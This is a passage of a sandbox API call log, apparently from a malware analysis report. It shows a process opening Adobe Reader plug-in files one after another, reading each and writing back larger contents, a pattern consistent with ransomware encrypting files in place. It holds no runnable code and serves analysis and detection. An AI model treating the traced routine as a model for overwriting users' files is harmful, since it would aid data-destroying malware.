(hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.939] ReleaseMutex (hMutex=0x128) returned 1 [0040.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.EUQ", lpUsedDefaultChar=0x0) returned 10 [0040.939] ReadFile (in: hFile=0x1c4, lpBuffer=0x276e358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesRead=0x2c0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0040.941] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0040.941] WriteFile (in: hFile=0x1c4, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0040.942] CloseHandle (hObject=0x1c4) returned 1 [0040.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.943] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.943] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1e00 [0040.943] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.943] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.943] ReleaseMutex (hMutex=0x128) returned 1 [0040.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.SVE", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.SVE", lpUsedDefaultChar=0x0) returned 10 [0040.943] ReadFile (in: hFile=0x1c4, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2c0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0041.076] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.076] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0041.079] CloseHandle (hObject=0x1c4) returned 1 [0041.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.134] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.135] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa00 [0041.137] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.137] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.137] ReleaseMutex (hMutex=0x128) returned 1 [0041.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.JPN", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.JPN", lpUsedDefaultChar=0x0) returned 13 [0041.138] ReadFile (in: hFile=0x198, lpBuffer=0x260fc38, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x260fc38*, lpNumberOfBytesRead=0x2c0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.200] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.200] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.200] CloseHandle (hObject=0x198) returned 1 [0041.200] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.201] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.201] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa00 [0041.201] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.201] ReleaseMutex (hMutex=0x128) returned 1 [0041.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x1e789ec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHT", lpUsedDefaultChar=0x0) returned 16 [0041.201] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2c0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.223] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.223] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.223] CloseHandle (hObject=0x198) returned 1 [0041.223] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.223] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.223] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa00 [0041.224] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.224] ReleaseMutex (hMutex=0x128) returned 1 [0041.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NLD", cchWideChar=16, lpMultiByteStr=0x1e789ec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NLD", lpUsedDefaultChar=0x0) returned 16 [0041.224] ReadFile (in: hFile=0x198, lpBuffer=0x3a46e18, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a46e18*, lpNumberOfBytesRead=0x2c0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.244] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.244] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.245] CloseHandle (hObject=0x198) returned 1 [0041.245] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\MCIMPP.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\mcimpp.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.245] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.245] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2000 [0041.245] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.245] ReleaseMutex (hMutex=0x128) returned 1 [0041.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.HRV", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.HRV", lpUsedDefaultChar=0x0) returned 10 [0041.246] ReadFile (in: hFile=0x198, lpBuffer=0x2734638, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2734638*, lpNumberOfBytesRead=0x2c0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.265] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.265] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.266] CloseHandle (hObject=0x198) returned 1 [0041.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\WindowsMedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\windowsmedia.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.266] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.266] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa00 [0041.266] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.266] ReleaseMutex (hMutex=0x128) returned 1 [0041.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.POL", cchWideChar=16, lpMultiByteStr=0x1e78b7c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.POL", lpUsedDefaultChar=0x0) returned 16 [0041.266] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2c0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.287] WriteFile (in: hFile=0x198, lpBuffer=0x2737a98*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesWritten=0x2c0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.287] CloseHandle (hObject=0x198) returned 1 [0041.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Mcimpp.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\mcimpp.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2000 [0041.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.288] ReleaseMutex (hMutex=0x128) returned 1 [0041.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SKY", lpUsedDefaultChar=0x0) returned 10 [0041.288] ReadFile (in: hFile=0x198, lpBuffer=0x2809d28, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesRead=0x2c0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.308] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.309] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.310] CloseHandle (hObject=0x198) returned 1 [0041.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\WindowsMedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\windowsmedia.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.310] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.310] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa00 [0041.310] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.310] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.310] ReleaseMutex (hMutex=0x128) returned 1 [0041.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.TUR", cchWideChar=16, lpMultiByteStr=0x1e789ec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.TUR", lpUsedDefaultChar=0x0) returned 16 [0041.310] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2c0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.324] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0041.325] WriteFile (in: hFile=0x198, lpBuffer=0x2737a98*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesWritten=0x2c0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.325] CloseHandle (hObject=0x198) returned 1 [0041.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.326] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.326] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x63263 [0041.326] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.326] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.326] ReleaseMutex (hMutex=0x128) returned 1 [0041.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x1e6338c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.api", lpUsedDefaultChar=0x0) returned 13 [0041.326] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.343] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x62263 [0041.343] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.359] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x62263 [0041.360] WriteFile (in: hFile=0x198, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.360] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.360] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.360] CloseHandle (hObject=0x198) returned 1 [0041.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvsoft.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.360] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.360] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x35190 [0041.360] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.360] ReleaseMutex (hMutex=0x128) returned 1 [0041.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, 